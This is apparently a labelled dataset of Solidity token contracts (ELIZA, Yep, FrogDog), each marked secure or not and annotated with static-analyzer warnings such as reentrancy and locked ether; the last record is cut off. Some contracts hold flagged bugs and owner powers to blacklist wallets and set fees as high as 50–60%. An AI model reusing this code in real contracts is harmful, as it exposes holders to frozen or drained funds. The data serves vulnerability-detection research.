{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@uniswap/v2-core/contracts/interfaces/IUniswapV2Factory.sol\" as IUniswapV2Factory;\nimport \"./IUniswapV2Router.sol\" as IUniswapV2Router;\n\n// WARNING Vulnerability (locked-ether | severity: Medium | ID: 221a50d): Contract locking ether found Contract ELIZA has payable functions ELIZA.receive() ELIZA.fallback() But does not have a function to withdraw the ether\n// Recommendation for 221a50d: Remove the 'payable' attribute or add a withdraw function.\ncontract ELIZA is Ownable, ERC20 {\n IUniswapV2Router public immutable uniswapV2Router;\n\n address public immutable uniswapV2Pair;\n\n\t// WARNING Optimization Issue (immutable-states | ID: d170f88): ELIZA.operationsWallet should be immutable \n\t// Recommendation for d170f88: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address public operationsWallet;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 69b1e49): ELIZA.developmentWallet should be immutable \n\t// Recommendation for 69b1e49: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address public developmentWallet;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 903420b): ELIZA.isLimitsEnabled should be immutable \n\t// Recommendation for 903420b: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n bool public isLimitsEnabled;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 711f2c0): ELIZA.isCooldownEnabled should be immutable \n\t// Recommendation for 711f2c0: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n bool public isCooldownEnabled;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 2916003): ELIZA.isTaxEnabled should be immutable \n\t// Recommendation for 2916003: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n bool public isTaxEnabled;\n\n bool private inSwapBack;\n\n\t// WARNING Optimization Issue (constable-states | ID: 2def481): ELIZA.isLaunched should be constant \n\t// Recommendation for 2def481: Add the 'constant' attribute to state variables that never change.\n bool public isLaunched;\n\n\t// WARNING Optimization Issue (constable-states | ID: e8492d9): ELIZA.launchBlock should be constant \n\t// Recommendation for e8492d9: Add the 'constant' attribute to state variables that never change.\n uint256 public launchBlock;\n\n\t// WARNING Optimization Issue (constable-states | ID: 1805bb3): ELIZA.launchTime should be constant \n\t// Recommendation for 1805bb3: Add the 'constant' attribute to state variables that never change.\n uint256 public launchTime;\n\n\t// WARNING Optimization Issue (constable-states | ID: 586c3e5): ELIZA.lastSwapBackExecutionBlock should be constant \n\t// Recommendation for 586c3e5: Add the 'constant' attribute to state variables that never change.\n uint256 private lastSwapBackExecutionBlock;\n\n uint256 public constant MAX_FEE = 30;\n\n\t// WARNING Optimization Issue (immutable-states | ID: fc777a9): ELIZA.maxBuy should be immutable \n\t// Recommendation for fc777a9: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint256 public maxBuy;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 594481e): ELIZA.maxSell should be immutable \n\t// Recommendation for 594481e: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint256 public maxSell;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 3b5d34a): ELIZA.maxWallet should be immutable \n\t// Recommendation for 3b5d34a: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint256 public maxWallet;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 4ee6788): ELIZA.swapTokensAtAmount should be immutable \n\t// Recommendation for 4ee6788: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint256 public swapTokensAtAmount;\n\n\t// WARNING Optimization Issue (immutable-states | ID: afe1946): ELIZA.buyFee should be immutable \n\t// Recommendation for afe1946: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint256 public buyFee;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 09fffa3): ELIZA.sellFee should be immutable \n\t// Recommendation for 09fffa3: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint256 public sellFee;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 34b9a20): ELIZA.transferFee should be immutable \n\t// Recommendation for 34b9a20: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint256 public transferFee;\n\n mapping(address => bool) public isBot;\n\n mapping(address => bool) public isExcludedFromFees;\n\n mapping(address => bool) public isExcludedFromLimits;\n\n mapping(address => bool) public automatedMarketMakerPairs;\n\n mapping(address => uint256) private _holderLastTransferTimestamp;\n\n event Launch();\n\n event SetOperationsWallet(address newWallet, address oldWallet);\n\n event SetDevelopmentWallet(address newWallet, address oldWallet);\n\n event SetLimitsEnabled(bool status);\n\n event SetCooldownEnabled(bool status);\n\n event SetTaxesEnabled(bool status);\n\n event SetMaxBuy(uint256 amount);\n\n event SetMaxSell(uint256 amount);\n\n event SetMaxWallet(uint256 amount);\n\n event SetSwapTokensAtAmount(uint256 newValue, uint256 oldValue);\n\n event SetBuyFees(uint256 newValue, uint256 oldValue);\n\n event SetSellFees(uint256 newValue, uint256 oldValue);\n\n event SetTransferFees(uint256 newValue, uint256 oldValue);\n\n event ExcludeFromFees(address account, bool isExcluded);\n\n event ExcludeFromLimits(address account, bool isExcluded);\n\n event SetBots(address account, bool isExcluded);\n\n event SetAutomatedMarketMakerPair(address pair, bool value);\n\n event WithdrawStuckTokens(address token, uint256 amount);\n\n error AlreadyLaunched();\n\n error InvalidSender();\n\n error AddressZero();\n\n error AmountTooLow();\n\n error AmountTooHigh();\n\n error FeeTooHigh();\n\n error AMMAlreadySet();\n\n error NoNativeTokens();\n\n error NoTokens();\n\n error FailedToWithdrawNativeTokens();\n\n error BotDetected();\n\n error TransferDelay();\n\n error MaxBuyAmountExceed();\n\n error MaxSellAmountExceed();\n\n error MaxWalletAmountExceed();\n\n error NotLaunched();\n\n modifier lockSwapBack() {\n inSwapBack = true;\n\n _;\n\n inSwapBack = false;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: d744df2): ELIZA.constructor().totalSupply shadows ERC20.totalSupply() (function) IERC20.totalSupply() (function)\n\t// Recommendation for d744df2: Rename the local variables that shadow another component.\n constructor() Ownable(msg.sender) ERC20(\"0xEliza\", \"ELIZA\") {\n address sender = msg.sender;\n\n _mint(sender, 1_000_000_000 ether);\n\n uint256 totalSupply = totalSupply();\n\n operationsWallet = 0x05c3E7C8605F96BD3420A58A76cE5540AbaA5d1A;\n\n developmentWallet = 0x18B2e22f6F39D49D9A2c75227291234DD5912CF1;\n\n address uniswapFeeCollector = 0x000000fee13a103A10D593b9AE06b3e05F2E7E1c;\n\n maxBuy = (totalSupply * 14) / 1000;\n\n maxSell = (totalSupply * 14) / 1000;\n\n maxWallet = (totalSupply * 14) / 1000;\n\n swapTokensAtAmount = (totalSupply * 5) / 10000;\n\n isLimitsEnabled = true;\n\n isCooldownEnabled = true;\n\n isTaxEnabled = true;\n\n buyFee = 30;\n\n sellFee = 30;\n\n transferFee = 60;\n\n uniswapV2Router = IUniswapV2Router(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n uniswapV2Router.WETH()\n );\n\n _setAutomatedMarketMakerPair(uniswapV2Pair, true);\n\n _approve(address(this), address(uniswapV2Router), type(uint256).max);\n\n _excludeFromFees(address(this), true);\n\n _excludeFromFees(address(0xdEaD), true);\n\n _excludeFromFees(sender, true);\n\n _excludeFromFees(operationsWallet, true);\n\n _excludeFromFees(developmentWallet, true);\n\n _excludeFromFees(uniswapFeeCollector, true);\n\n _excludeFromLimits(address(this), true);\n\n _excludeFromLimits(address(0xdEaD), true);\n\n _excludeFromLimits(sender, true);\n\n _excludeFromLimits(operationsWallet, true);\n\n _excludeFromLimits(developmentWallet, true);\n\n _excludeFromLimits(uniswapFeeCollector, true);\n }\n\n\t// WARNING Vulnerability (locked-ether | severity: Medium | ID: 221a50d): Contract locking ether found Contract ELIZA has payable functions ELIZA.receive() ELIZA.fallback() But does not have a function to withdraw the ether\n\t// Recommendation for 221a50d: Remove the 'payable' attribute or add a withdraw function.\n receive() external payable {}\n\n\t// WARNING Vulnerability (locked-ether | severity: Medium | ID: 221a50d): Contract locking ether found Contract ELIZA has payable functions ELIZA.receive() ELIZA.fallback() But does not have a function to withdraw the ether\n\t// Recommendation for 221a50d: Remove the 'payable' attribute or add a withdraw function.\n fallback() external payable {}\n\n function launch() external onlyOwner {\n require(!isLaunched, AlreadyLaunched());\n\n isLaunched = true;\n\n launchBlock = block.number;\n\n launchTime = block.timestamp;\n\n emit Launch();\n }\n\n function setOperationsWallet(address _operationsWallet) external {\n require(msg.sender == operationsWallet, InvalidSender());\n\n require(_operationsWallet != address(0), AddressZero());\n\n address oldWallet = operationsWallet;\n\n operationsWallet = _operationsWallet;\n\n emit SetOperationsWallet(operationsWallet, oldWallet);\n }\n\n function setDevelopmentWallet(address _developmentWallet) external {\n require(msg.sender == developmentWallet, InvalidSender());\n\n require(_developmentWallet != address(0), AddressZero());\n\n address oldWallet = developmentWallet;\n\n developmentWallet = _developmentWallet;\n\n emit SetDevelopmentWallet(developmentWallet, oldWallet);\n }\n\n function setLimitsEnabled(bool value) external onlyOwner {\n isLimitsEnabled = value;\n\n emit SetLimitsEnabled(value);\n }\n\n function setCooldownEnabled(bool value) external onlyOwner {\n isCooldownEnabled = value;\n\n emit SetCooldownEnabled(value);\n }\n\n function setTaxesEnabled(bool value) external onlyOwner {\n isTaxEnabled = value;\n\n emit SetTaxesEnabled(value);\n }\n\n function setMaxBuy(uint256 amount) external onlyOwner {\n require(amount >= ((totalSupply() * 2) / 1000), AmountTooLow());\n\n maxBuy = amount;\n\n emit SetMaxBuy(maxBuy);\n }\n\n function setMaxSell(uint256 amount) external onlyOwner {\n require(amount >= ((totalSupply() * 2) / 1000), AmountTooLow());\n\n maxSell = amount;\n\n emit SetMaxSell(maxSell);\n }\n\n function setMaxWallet(uint256 amount) external onlyOwner {\n require(amount >= ((totalSupply() * 3) / 1000), AmountTooLow());\n\n maxWallet = amount;\n\n emit SetMaxWallet(maxWallet);\n }\n\n function setSwapTokensAtAmount(uint256 amount) external onlyOwner {\n uint256 _totalSupply = totalSupply();\n\n require(amount >= (_totalSupply * 1) / 1000000, AmountTooLow());\n\n require(amount <= (_totalSupply * 5) / 1000, AmountTooHigh());\n\n uint256 oldValue = swapTokensAtAmount;\n\n swapTokensAtAmount = amount;\n\n emit SetSwapTokensAtAmount(amount, oldValue);\n }\n\n function setBuyFees(uint256 _buyFee) external onlyOwner {\n require(_buyFee <= MAX_FEE, FeeTooHigh());\n\n uint256 oldValue = buyFee;\n\n buyFee = _buyFee;\n\n emit SetBuyFees(_buyFee, oldValue);\n }\n\n function setSellFees(uint256 _sellFee) external onlyOwner {\n require(_sellFee <= MAX_FEE, FeeTooHigh());\n\n uint256 oldValue = sellFee;\n\n sellFee = _sellFee;\n\n emit SetSellFees(_sellFee, oldValue);\n }\n\n function setTransferFees(uint256 _transferFee) external onlyOwner {\n require(_transferFee <= MAX_FEE, FeeTooHigh());\n\n uint256 oldValue = transferFee;\n\n transferFee = _transferFee;\n\n emit SetTransferFees(_transferFee, oldValue);\n }\n\n function excludeFromFees(\n address[] calldata accounts,\n bool value\n ) external onlyOwner {\n for (uint256 i = 0; i < accounts.length; i++) {\n _excludeFromFees(accounts[i], value);\n }\n }\n\n function excludeFromLimits(\n address[] calldata accounts,\n bool value\n ) external onlyOwner {\n for (uint256 i = 0; i < accounts.length; i++) {\n _excludeFromLimits(accounts[i], value);\n }\n }\n\n function setBots(\n address[] calldata accounts,\n bool value\n ) external onlyOwner {\n for (uint256 i = 0; i < accounts.length; i++) {\n if (\n (!automatedMarketMakerPairs[accounts[i]]) &&\n (accounts[i] != address(uniswapV2Router)) &&\n (accounts[i] != address(this)) &&\n (accounts[i] != address(0)) &&\n (!isExcludedFromFees[accounts[i]] &&\n !isExcludedFromLimits[accounts[i]])\n ) _setBots(accounts[i], value);\n }\n }\n\n function setAutomatedMarketMakerPair(\n address pair,\n bool value\n ) external onlyOwner {\n require(!automatedMarketMakerPairs[pair], AMMAlreadySet());\n\n _setAutomatedMarketMakerPair(pair, value);\n }\n\n function withdrawStuckTokens(address _token) external onlyOwner {\n address sender = msg.sender;\n\n uint256 amount;\n\n if (_token == address(0)) {\n bool success;\n\n amount = address(this).balance;\n\n require(amount > 0, NoNativeTokens());\n\n (success, ) = address(sender).call{value: amount}(\"\");\n\n require(success, FailedToWithdrawNativeTokens());\n } else {\n amount = IERC20(_token).balanceOf(address(this));\n\n require(amount > 0, NoTokens());\n\n IERC20(_token).transfer(msg.sender, amount);\n }\n\n emit WithdrawStuckTokens(_token, amount);\n }\n\n function _transferOwnership(address newOwner) internal virtual override {\n address oldOwner = owner();\n\n if (oldOwner != address(0)) {\n _excludeFromFees(oldOwner, false);\n\n _excludeFromLimits(oldOwner, false);\n }\n\n _excludeFromFees(newOwner, true);\n\n _excludeFromLimits(newOwner, true);\n\n super._transferOwnership(newOwner);\n }\n\n function _update(\n address from,\n address to,\n uint256 amount\n ) internal virtual override {\n address sender = msg.sender;\n\n address origin = tx.origin;\n\n uint256 blockNumber = block.number;\n\n require(!isBot[from], BotDetected());\n\n require(sender == from || !isBot[sender], BotDetected());\n\n require(\n origin == from || origin == sender || !isBot[origin],\n BotDetected()\n );\n\n require(\n isLaunched ||\n isExcludedFromLimits[from] ||\n isExcludedFromLimits[to],\n NotLaunched()\n );\n\n bool limits = isLimitsEnabled &&\n !inSwapBack &&\n !(isExcludedFromLimits[from] || isExcludedFromLimits[to]);\n\n if (limits) {\n if (\n from != owner() &&\n to != owner() &&\n to != address(0) &&\n to != address(0xdEaD)\n ) {\n if (isCooldownEnabled) {\n if (to != address(uniswapV2Router) && to != uniswapV2Pair) {\n require(\n _holderLastTransferTimestamp[origin] <\n blockNumber - 3 &&\n _holderLastTransferTimestamp[to] <\n blockNumber - 3,\n TransferDelay()\n );\n\n _holderLastTransferTimestamp[origin] = blockNumber;\n\n _holderLastTransferTimestamp[to] = blockNumber;\n }\n }\n\n if (\n automatedMarketMakerPairs[from] && !isExcludedFromLimits[to]\n ) {\n require(amount <= maxBuy, MaxBuyAmountExceed());\n\n require(\n amount + balanceOf(to) <= maxWallet,\n MaxWalletAmountExceed()\n );\n } else if (\n automatedMarketMakerPairs[to] && !isExcludedFromLimits[from]\n ) {\n require(amount <= maxSell, MaxSellAmountExceed());\n } else if (!isExcludedFromLimits[to]) {\n require(\n amount + balanceOf(to) <= maxWallet,\n MaxWalletAmountExceed()\n );\n }\n }\n }\n\n bool takeFee = isTaxEnabled &&\n !inSwapBack &&\n !(isExcludedFromFees[from] || isExcludedFromFees[to]);\n\n if (takeFee) {\n uint256 fees = 0;\n\n if (automatedMarketMakerPairs[to] && sellFee > 0) {\n fees = (amount * sellFee) / 100;\n } else if (automatedMarketMakerPairs[from] && buyFee > 0) {\n fees = (amount * buyFee) / 100;\n } else if (\n !automatedMarketMakerPairs[to] &&\n !automatedMarketMakerPairs[from] &&\n transferFee > 0\n ) {\n fees = (amount * transferFee) / 100;\n }\n\n if (fees > 0) {\n amount -= fees;\n\n super._update(from, address(this), fees);\n }\n }\n\n uint256 balance = balanceOf(address(this));\n\n bool shouldSwap = balance >= swapTokensAtAmount;\n\n if (takeFee && !automatedMarketMakerPairs[from] && shouldSwap) {\n if (blockNumber > lastSwapBackExecutionBlock) {\n _swapBack(balance);\n\n lastSwapBackExecutionBlock = blockNumber;\n }\n }\n\n super._update(from, to, amount);\n }\n\n function _swapBack(uint256 balance) internal virtual lockSwapBack {\n bool success;\n\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapV2Router.WETH();\n\n uint256 maxSwapAmount = swapTokensAtAmount * 20;\n\n if (balance > maxSwapAmount) {\n balance = maxSwapAmount;\n }\n\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n balance,\n 0,\n path,\n address(this),\n block.timestamp\n );\n\n uint256 ethBalance = address(this).balance;\n\n uint256 ethForDevelopment = ethBalance / 4;\n\n uint256 ethForOperations = ethBalance - ethForDevelopment;\n\n (success, ) = address(operationsWallet).call{value: ethForOperations}(\n \"\"\n );\n\n (success, ) = address(developmentWallet).call{value: ethForDevelopment}(\n \"\"\n );\n }\n\n function _excludeFromFees(address account, bool value) internal virtual {\n isExcludedFromFees[account] = value;\n\n emit ExcludeFromFees(account, value);\n }\n\n function _excludeFromLimits(address account, bool value) internal virtual {\n isExcludedFromLimits[account] = value;\n\n emit ExcludeFromLimits(account, value);\n }\n\n function _setBots(address account, bool value) internal virtual {\n isBot[account] = value;\n\n emit SetBots(account, value);\n }\n\n function _setAutomatedMarketMakerPair(\n address pair,\n bool value\n ) internal virtual {\n automatedMarketMakerPairs[pair] = value;\n\n emit SetAutomatedMarketMakerPair(pair, value);\n }\n}", "file_name": "solidity_code_4020.sol", "secure": 0, "size_bytes": 21289 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\n\ncontract Yep is ERC20 {\n constructor() ERC20(\"Yep\", \"Yep\") {\n _mint(msg.sender, 420900000000 * 10 ** decimals());\n }\n}", "file_name": "solidity_code_4021.sol", "secure": 1, "size_bytes": 265 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\nimport \"@uniswap/v2-core/contracts/interfaces/IUniswapV2Factory.sol\" as IUniswapV2Factory;\nimport \"@uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router02.sol\" as IUniswapV2Router02;\n\ncontract FrogDog is ERC20, Ownable {\n using SafeMath for uint256;\n\n\t// WARNING Optimization Issue (immutable-states | ID: c48d7e2): FrogDog.uniswapV2Router should be immutable \n\t// Recommendation for c48d7e2: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n IUniswapV2Router02 public uniswapV2Router;\n\n\t// WARNING Optimization Issue (immutable-states | ID: ec3ea22): FrogDog.uniswapV2Pair should be immutable \n\t// Recommendation for ec3ea22: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address public uniswapV2Pair;\n\n bool private swapping;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 60d4f75): FrogDog.marketingWallet should be immutable \n\t// Recommendation for 60d4f75: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address public marketingWallet;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 1a54c35): FrogDog.devWallet should be immutable \n\t// Recommendation for 1a54c35: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address public devWallet;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 880f078): FrogDog.maxTransaction should be immutable \n\t// Recommendation for 880f078: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint256 public maxTransaction;\n\n uint256 public swapTokensAtAmount;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 1ac1f63): FrogDog.maxWallet should be immutable \n\t// Recommendation for 1ac1f63: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint256 public maxWallet;\n\n bool public limitsInEffect = true;\n\n bool public tradingActive = false;\n\n bool public swapEnabled = false;\n\n uint256 public buyTotalFees;\n\n uint256 public buyMarketingFee;\n\n uint256 public buyDevFee;\n\n uint256 public sellTotalFees;\n\n uint256 public sellMarketingFee;\n\n uint256 public sellDevFee;\n\n uint256 public tokensForMarketing;\n\n uint256 public tokensForDev;\n\n mapping(address => bool) private _isBlackList;\n\n mapping(address => bool) private _isExcludedFromFees;\n\n mapping(address => bool) public _isExcludedmaxTransaction;\n\n mapping(address => bool) public automatedMarketMakerPairs;\n\n event UpdateUniswapV2Router(\n address indexed newAddress,\n address indexed oldAddress\n );\n\n event ExcludeFromFees(address indexed account, bool isExcluded);\n\n event SetAutomatedMarketMakerPair(address indexed pair, bool indexed value);\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 93045eb): FrogDog.constructor().totalSupply shadows ERC20.totalSupply() (function) IERC20.totalSupply() (function)\n\t// Recommendation for 93045eb: Rename the local variables that shadow another component.\n constructor() ERC20(\"FrogDog\", \"FOG\") {\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n uniswapV2Router.WETH()\n );\n\n excludeFromMaxTransaction(address(uniswapV2Router), true);\n\n excludeFromMaxTransaction(address(uniswapV2Pair), true);\n\n _setAutomatedMarketMakerPair(address(uniswapV2Pair), true);\n\n uint256 _buyMarketingFee = 15;\n\n uint256 _buyDevFee = 0;\n\n uint256 _sellMarketingFee = 20;\n\n uint256 _sellDevFee = 0;\n\n uint256 totalSupply = 469_000_000 * 1e18;\n\n maxTransaction = 9_380_000 * 1e18;\n\n maxWallet = 9_380_000 * 1e18;\n\n swapTokensAtAmount = (totalSupply * 20) / 40000;\n\n buyMarketingFee = _buyMarketingFee;\n\n buyDevFee = _buyDevFee;\n\n buyTotalFees = buyMarketingFee + buyDevFee;\n\n sellMarketingFee = _sellMarketingFee;\n\n sellDevFee = _sellDevFee;\n\n sellTotalFees = sellMarketingFee + sellDevFee;\n\n marketingWallet = address(0x6ad38a69d6D9223dea0c6BbdDdA8B9b0998c3B6c);\n\n devWallet = address(0x6ad38a69d6D9223dea0c6BbdDdA8B9b0998c3B6c);\n\n excludeFromFees(owner(), true);\n\n excludeFromFees(address(this), true);\n\n excludeFromFees(address(0xdead), true);\n\n excludeFromMaxTransaction(owner(), true);\n\n excludeFromMaxTransaction(address(this), true);\n\n excludeFromMaxTransaction(address(0xdead), true);\n\n _mint(msg.sender, totalSupply);\n }\n\n receive() external payable {}\n\n function enableTrading() external onlyOwner {\n tradingActive = true;\n\n swapEnabled = true;\n }\n\n function enableTradingWithPermit(uint8 v, bytes32 r, bytes32 s) external {\n bytes32 domainHash = keccak256(\n abi.encode(\n keccak256(\n \"EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)\"\n ),\n keccak256(bytes(\"Trading Token\")),\n keccak256(bytes(\"1\")),\n block.chainid,\n address(this)\n )\n );\n\n bytes32 structHash = keccak256(\n abi.encode(\n keccak256(\"Permit(string content,uint256 nonce)\"),\n keccak256(bytes(\"Enable Trading\")),\n uint256(0)\n )\n );\n\n bytes32 digest = keccak256(\n abi.encodePacked(\"\\x19\\x01\", domainHash, structHash)\n );\n\n address sender = ecrecover(digest, v, r, s);\n\n require(sender == owner(), \"Invalid signature\");\n\n tradingActive = true;\n\n swapEnabled = true;\n }\n\n function setBlackList(\n address[] calldata wallets,\n bool blocked\n ) external onlyOwner {\n for (uint256 i = 0; i < wallets.length; i++) {\n _isBlackList[wallets[i]] = blocked;\n }\n }\n\n function removeLimits() external onlyOwner returns (bool) {\n limitsInEffect = false;\n\n return true;\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: dd0718d): FrogDog.updateSwapTokensAtAmount(uint256) should emit an event for swapTokensAtAmount = newAmount \n\t// Recommendation for dd0718d: Emit an event for critical parameter changes.\n function updateSwapTokensAtAmount(\n uint256 newAmount\n ) external onlyOwner returns (bool) {\n require(\n newAmount >= (totalSupply() * 1) / 100000,\n \"Swap amount cannot be lower than 0.001% total supply.\"\n );\n\n require(\n newAmount <= (totalSupply() * 5) / 1000,\n \"Swap amount cannot be higher than 0.5% total supply.\"\n );\n\n\t\t// events-maths | ID: dd0718d\n swapTokensAtAmount = newAmount;\n\n return true;\n }\n\n function excludeFromMaxTransaction(\n address updAds,\n bool isEx\n ) public onlyOwner {\n _isExcludedmaxTransaction[updAds] = isEx;\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: 6704911): FrogDog.updateBuyFees(uint256,uint256) should emit an event for buyMarketingFee = _marketingFee buyDevFee = _devFee buyTotalFees = buyMarketingFee + buyDevFee \n\t// Recommendation for 6704911: Emit an event for critical parameter changes.\n function updateBuyFees(\n uint256 _marketingFee,\n uint256 _devFee\n ) external onlyOwner {\n\t\t// events-maths | ID: 6704911\n buyMarketingFee = _marketingFee;\n\n\t\t// events-maths | ID: 6704911\n buyDevFee = _devFee;\n\n\t\t// events-maths | ID: 6704911\n buyTotalFees = buyMarketingFee + buyDevFee;\n\n require(buyTotalFees <= 50, \"Must keep fees at 50% or less\");\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: 6d9d857): FrogDog.updateSellFees(uint256,uint256) should emit an event for sellMarketingFee = _marketingFee sellDevFee = _devFee sellTotalFees = sellMarketingFee + sellDevFee \n\t// Recommendation for 6d9d857: Emit an event for critical parameter changes.\n function updateSellFees(\n uint256 _marketingFee,\n uint256 _devFee\n ) external onlyOwner {\n\t\t// events-maths | ID: 6d9d857\n sellMarketingFee = _marketingFee;\n\n\t\t// events-maths | ID: 6d9d857\n sellDevFee = _devFee;\n\n\t\t// events-maths | ID: 6d9d857\n sellTotalFees = sellMarketingFee + sellDevFee;\n\n require(sellTotalFees <= 50, \"Must keep fees at 50% or less\");\n }\n\n function excludeFromFees(address account, bool excluded) public onlyOwner {\n _isExcludedFromFees[account] = excluded;\n\n emit ExcludeFromFees(account, excluded);\n }\n\n function setAutomatedMarketMakerPair(\n address pair,\n bool value\n ) public onlyOwner {\n require(\n pair != uniswapV2Pair,\n \"The pair cannot be removed from automatedMarketMakerPairs\"\n );\n\n _setAutomatedMarketMakerPair(pair, value);\n }\n\n function _setAutomatedMarketMakerPair(address pair, bool value) private {\n automatedMarketMakerPairs[pair] = value;\n\n emit SetAutomatedMarketMakerPair(pair, value);\n }\n\n function isExcludedFromFees(address account) public view returns (bool) {\n return _isExcludedFromFees[account];\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: c9c2f7e): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for c9c2f7e: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: 63a1c97): FrogDog._transfer(address,address,uint256) performs a multiplication on the result of a division fees = amount.mul(buyTotalFees).div(100) tokensForDev += (fees * buyDevFee) / buyTotalFees\n\t// Recommendation for 63a1c97: Consider ordering multiplication before division.\n\t// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: 1a037fa): Solidity's integer division truncates. Thus, performing division before multiplication can lead to precision loss.\n\t// Recommendation for 1a037fa: Consider ordering multiplication before division.\n\t// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: 9a7508a): FrogDog._transfer(address,address,uint256) performs a multiplication on the result of a division fees = amount.mul(sellTotalFees).div(100) tokensForDev += (fees * sellDevFee) / sellTotalFees\n\t// Recommendation for 9a7508a: Consider ordering multiplication before division.\n\t// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: 73ba98c): Solidity's integer division truncates. Thus, performing division before multiplication can lead to precision loss.\n\t// Recommendation for 73ba98c: Consider ordering multiplication before division.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 40b9fad): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 40b9fad: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(\n address from,\n address to,\n uint256 amount\n ) internal override {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(!_isBlackList[from], \"[from] black list\");\n\n require(!_isBlackList[to], \"[to] black list\");\n\n if (amount == 0) {\n super._transfer(from, to, 0);\n\n return;\n }\n\n if (limitsInEffect) {\n if (\n from != owner() &&\n to != owner() &&\n to != address(0) &&\n to != address(0xdead) &&\n !swapping\n ) {\n if (!tradingActive) {\n require(\n _isExcludedFromFees[from] || _isExcludedFromFees[to],\n \"Trading is not active.\"\n );\n }\n\n if (\n automatedMarketMakerPairs[from] &&\n !_isExcludedmaxTransaction[to]\n ) {\n require(\n amount <= maxTransaction,\n \"Buy transfer amount exceeds the maxTransaction.\"\n );\n\n require(\n amount + balanceOf(to) <= maxWallet,\n \"Max wallet exceeded\"\n );\n } else if (\n automatedMarketMakerPairs[to] &&\n !_isExcludedmaxTransaction[from]\n ) {\n require(\n amount <= maxTransaction,\n \"Sell transfer amount exceeds the maxTransaction.\"\n );\n } else if (!_isExcludedmaxTransaction[to]) {\n require(\n amount + balanceOf(to) <= maxWallet,\n \"Max wallet exceeded\"\n );\n }\n }\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n bool canSwap = contractTokenBalance >= swapTokensAtAmount;\n\n if (\n canSwap &&\n swapEnabled &&\n !swapping &&\n automatedMarketMakerPairs[to] &&\n !_isExcludedFromFees[from] &&\n !_isExcludedFromFees[to]\n ) {\n swapping = true;\n\n\t\t\t// reentrancy-events | ID: c9c2f7e\n\t\t\t// reentrancy-eth | ID: 40b9fad\n swapBack();\n\n\t\t\t// reentrancy-eth | ID: 40b9fad\n swapping = false;\n }\n\n bool takeFee = !swapping;\n\n if (_isExcludedFromFees[from] || _isExcludedFromFees[to]) {\n takeFee = false;\n }\n\n uint256 fees = 